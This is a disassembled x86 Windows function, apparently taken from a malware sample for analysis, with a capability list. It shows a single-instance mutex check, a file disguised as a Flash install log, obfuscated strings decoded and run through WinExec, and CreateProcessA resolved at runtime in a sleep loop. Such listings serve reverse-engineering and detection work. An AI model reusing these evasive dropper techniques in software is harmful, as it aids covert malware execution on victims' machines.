Function at 0x402050
Capabilities:
Check mutex on windows
Check os version
Create process on windows
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402820
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1f4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], esp
push str.Micro
push ebx
mov esi, ecx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4020a5
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.c:windows_system32MacromedFlashFlashInstall.log
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call fcn.00401920
test eax, eax
jne 0x40218b
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::Empty
push 0x40462c
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push ebx
push str.APoDv7wAv_UC8btAKnL9Pb9A_z08MvzAvrvywX7_vD3vfv8BL_xb8AgO_vAC_8ALzv62tAKnL9Pb9A_z08MvzAvrvywX7_vD3vfv8BL_Fv7_27wD8_QX2BL8_vv7v62tAKnL9Pb9A_z08MvzAvrvywX7_vD3vfv8BL_Fv_P8Pj79vDzv62tAKnL9Pb9A_z08MvzAvrvywX7_vD3vfv8BL_Fv_0C87_w8_7x862tAKnL9Pb9A_z08MvzAvrvywX7_vD3vfv8BL_Fv_0C8_Dz_vO_uv79v62tAKnL9Pb9A_z08MvzAvrvywX7_vD3vfv8BJ8
call fcn.004012b0
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
lea eax, [ebp - 0x18]
push eax
push str.AKnL9Pb9A_z08MvzAvrvywX7_vD3vfv8BJ8
call fcn.004012b0
add esp, 4
push eax
call fcn.00401b10
add esp, 8
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator_1
push ebx
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::GetBuffer
push eax
push str.vPb6BLzv8fwBAr3v9f
call fcn.004012b0
add esp, 4
push eax
push 0x50
push str.9PT0vfi68_QAvQTxvfnvnw
call fcn.004012b0
add esp, 4
push eax
call fcn.00401bb0
add esp, 0x10
mov ecx, esi
push 1
call sub.MFC42.DLL_CDialog::EndDialog
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], bl
call fcn.004024e0
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], 0xffffffff
call fcn.004024e0
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], 2
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x1ff]
mov byte [ebp - 0x200], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.9_Pz76m8vPT09L34uvP0AL0E8b3577z2gS8P72BPa6APOwvfnvBJ8
stosb byte es:[edi], al
call fcn.004012b0
add esp, 4
lea edx, [ebp - 0x200]
push edx
push eax
call fcn.00401800
add esp, 8
cmp eax, ebx
jne 0x4021e5
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x200]
push eax
call dword [sym.imp.MSVCRT.dll_printf]
mov ecx, 0x25
xor eax, eax
lea edi, [ebp - 0x100]
add esp, 4
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x100]
mov dword [ebp - 0x100], 0x94
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp eax, ebx
je 0x402240
mov eax, dword [ebp - 0xfc]
cmp eax, 5
je 0x402240
jbe 0x402240
call fcn.00401cd0
cmp eax, 1
je 0x402240
call fcn.004014a0
cmp eax, 1
je 0x402289
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x58]
push str.CreateProcessA
rep stosd dword es:[edi], eax
push str.Kernel32.dll
mov dword [ebp - 0x5c], 0x44
mov word [ebp - 0x2c], bx
mov dword [ebp - 0x54], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call esi
lea edx, [ebp - 0x6c]
lea ecx, [ebp - 0x5c]
push edx
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
lea edx, [ebp - 0x200]
push ebx
push edx
push ebx
call eax
push 0x6ddd00
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402198